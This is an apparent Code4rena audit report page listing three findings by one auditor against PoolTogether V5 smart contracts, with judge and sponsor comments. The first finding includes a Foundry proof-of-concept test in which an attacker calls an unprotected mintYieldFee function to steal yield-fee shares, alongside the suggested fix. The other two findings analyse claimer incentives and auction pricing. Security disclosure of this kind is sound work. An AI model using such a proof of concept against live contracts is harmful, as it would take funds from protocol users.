Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 26/111
Findings: 3
Award: $882.34
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Udsen
Also found by: 0xMirce, 0xPsuedoPandit, 0xStalin, 0xbepresent, Aymen0909, Bobface, Co0nan, GREY-HAWK-REACH, Jeiwan, John, KupiaSec, LuchoLeonel1, Nyx, Praise, RedTiger, alexweb3, bin2chen, btk, dacian, dirk_y, josephdara, keccak123, ktg, mahdirostami, markus_ether, minhtrng, ni8mare, peanuts, ptsanev, ravikiranweb3, rvierdiiev, seeques, serial-coder, shaka, teawaterwire, wangxx2026, zzzitron
2.2492 USDC - $2.25
The _yieldFeeRecipient
can claim some of the fees earned in the vault by calling mintYieldFee
. The function has no access control so anyone can call the function and claim the yield fee for themselves.
In the below test an attacker (Alice
) mints the yield fee share to an controlled address (0xf) without being authorized to call the function.
function testStealYieldFee() external { // setup _setLiquidationPair(); vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE); vault.setYieldFeeRecipient(bob); underlyingAsset.mint(address(this), 1000e18); _sponsor(underlyingAsset, vault, 1000e18, address(this)); _accrueYield(underlyingAsset, yieldVault, 10e18); vm.startPrank(alice); prizeToken.mint(alice, 1000e18); uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault)); _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice); vm.stopPrank(); // pre checks assertNotEq(vault.yieldFeeRecipient(), alice); uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE); // alice steal funds vm.startPrank(alice); vm.expectEmit(); emit MintYieldFee(alice, address(0xf), _yieldFeeShares); vault.mintYieldFee(_yieldFeeShares, address(0xf)); // post checks assertEq(vault.balanceOf(address(0xf)), _yieldFeeShares); }
Manual review, VSCode
Add access control so that only the fee recipient can call the function:
function mintYieldFee(uint256 _shares, address _recipient) external { _requireVaultCollateralized(); +require(msg.sender == _yieldFeeRecipient, 'Wrong caller'); }
Access Control
#0 - c4-judge
2023-07-14T22:14:12Z
Picodes marked the issue as primary issue
#1 - c4-judge
2023-07-14T22:17:03Z
Picodes marked issue #396 as primary and marked this issue as a duplicate of 396
#2 - c4-judge
2023-08-05T22:05:08Z
Picodes marked the issue as satisfactory
🌟 Selected for report: markus_ether
Also found by: josephdara
739.7915 USDC - $739.79
https://github.com/GenerationSoftware/pt-v5-claimer/blob/57a381aef690a27c9198f4340747155a71cae753/src/Claimer.sol#L210 https://github.com/GenerationSoftware/pt-v5-claimer/blob/57a381aef690a27c9198f4340747155a71cae753/src/Claimer.sol#L173
PoolTogether V5 delegates the task of claiming the prizes to a network of Claimers
that are incentivized to claim prizes for a share of the prize won.
The fees the Claimant receives is calculated based on an Dutch Auction, but the limited by the minimum prize of the price pool
fee = min( fee in auction, % maxFeePortionOfPrize * minPrize)
When the gas costs exceed the minPrize
the solver has not incentives to claim the price.
Notice that the number of prizes only adjusts after very few prizes are claimed.
Gas prices rise well above the minPrize
. The highest prize is suddenly drawn that day. The solvers have no incentive to claim the prize and the winner does not monitor the contract. As a result, no one claims the top prize. The protocol suffers a loss of reputation.
Manual review, VS Code
The problem is that the incentives are not exactly aligned. The user is willing to pay anything up to his price p to receive his price. But the maximum that the solvers receives is the minimum price. We can align the two incentives by using each user's price as an upper bound.
function _computeMaxFee(uint8 _tier, uint8 _numTiers) internal view returns (uint256) { uint8 _canaryTier = _numTiers - 1; if (_tier != _canaryTier) { // canary tier - return _computeMaxFee(prizePool.getTierPrizeSize(_canaryTier - 1)); + return _computeMaxFee(prizePool.getTierPrizeSize(_tier)); } else { return _computeMaxFee(prizePool.getTierPrizeSize(_canaryTier)); } }
Since we already validate the inputs in claimPrize
the attacker can not claim more than the prize is worth.
Other
#0 - c4-judge
2023-07-16T11:11:23Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2023-07-20T22:43:50Z
asselstine marked the issue as sponsor confirmed
#2 - c4-judge
2023-08-07T16:37:57Z
Picodes marked the issue as satisfactory
#3 - c4-judge
2023-08-07T16:38:01Z
Picodes marked the issue as selected for report
#4 - asselstine
2023-08-17T21:25:11Z
🌟 Selected for report: bin2chen
Also found by: 0x11singh99, 0xWaitress, 0xbepresent, ABAIKUNANBAEV, ArmedGoose, Bauchibred, DadeKuma, GREY-HAWK-REACH, GalloDaSballo, Inspecktor, Jeiwan, Kaysoft, MohammedRizwan, Rolezn, Vagner, alexzoid, alymurtazamemon, ayden, banpaleo5, catellatech, dacian, erebus, eyexploit, fatherOfBlocks, grearlake, joaovwfreire, keccak123, kutugu, lanrebayode77, markus_ether, nadin, naman1778, rvierdiiev, squeaky_cactus, volodya, yixxas
140.2996 USDC - $140.30
The protocol utilizes Gradual Dutch Auctions to determine the price paid to claimants. In the original paper, the number of assets owned is known in advance, enabling the auction to precisely adjust prices based on demand. However, the number of prices in the PoolTogether pool is stochastic, which can lead to pricing discrepancies when the actual number deviates significantly from the expected number.
The formula to derive the reward the claimer receives for getting an auction is
auction prize = p * e^(t - n / r)
, where t is the time passed, n is the number of claims and r is the expected number of claims per second. When the number of claims is right on target then t = n / r, so we sell at the target price p. When we have claimed a larger number of units n then expected, then t << n / r, so the prize will significantly drop below the target prize. The auction price drops below the gas fees, so many prizes will remain unclaimed.
Manual review, VS Code
With a large number of tiers, users and vault the probability of a large deviation is small.
For a small number of tiers, we should calculate the maximum number of prizes that will appear with a high probability (i.e. a number of draws that is not exceeded in 99.9% of the cases). We call this number the limitPrizeCount
.
We use the limit to estimate the maximum number of units drawn per second instead of the average number of units drawn:
SD59x18 perTimeUnit = LinearVRGDALib.getPerTimeUnit( - prizePool.estimatedPrizeCount(), + prizePool.limitPrizeCount() timeToReachMaxFee );
Other
#0 - c4-judge
2023-07-18T19:26:17Z
Picodes marked the issue as primary issue
#1 - asselstine
2023-07-20T22:49:54Z
Our simulator mitigates against this by having the VRGDA on a much more aggressive timeline; the duration over which prizes are auctioned is half the draw period. However, it's worth doing some additional statistical analysis to better qualify this choice.
#2 - c4-sponsor
2023-07-20T22:49:59Z
asselstine marked the issue as sponsor confirmed
#3 - c4-judge
2023-08-07T16:34:31Z
Picodes changed the severity to QA (Quality Assurance)
#4 - Picodes
2023-08-07T16:37:03Z
Downgrading to Low as despite this being a possibility, it should remain exceptional with a proper configuration, and if n >> r
there may be other issues like the reserves not being enough
#5 - c4-judge
2023-08-08T14:31:26Z
Picodes marked the issue as grade-a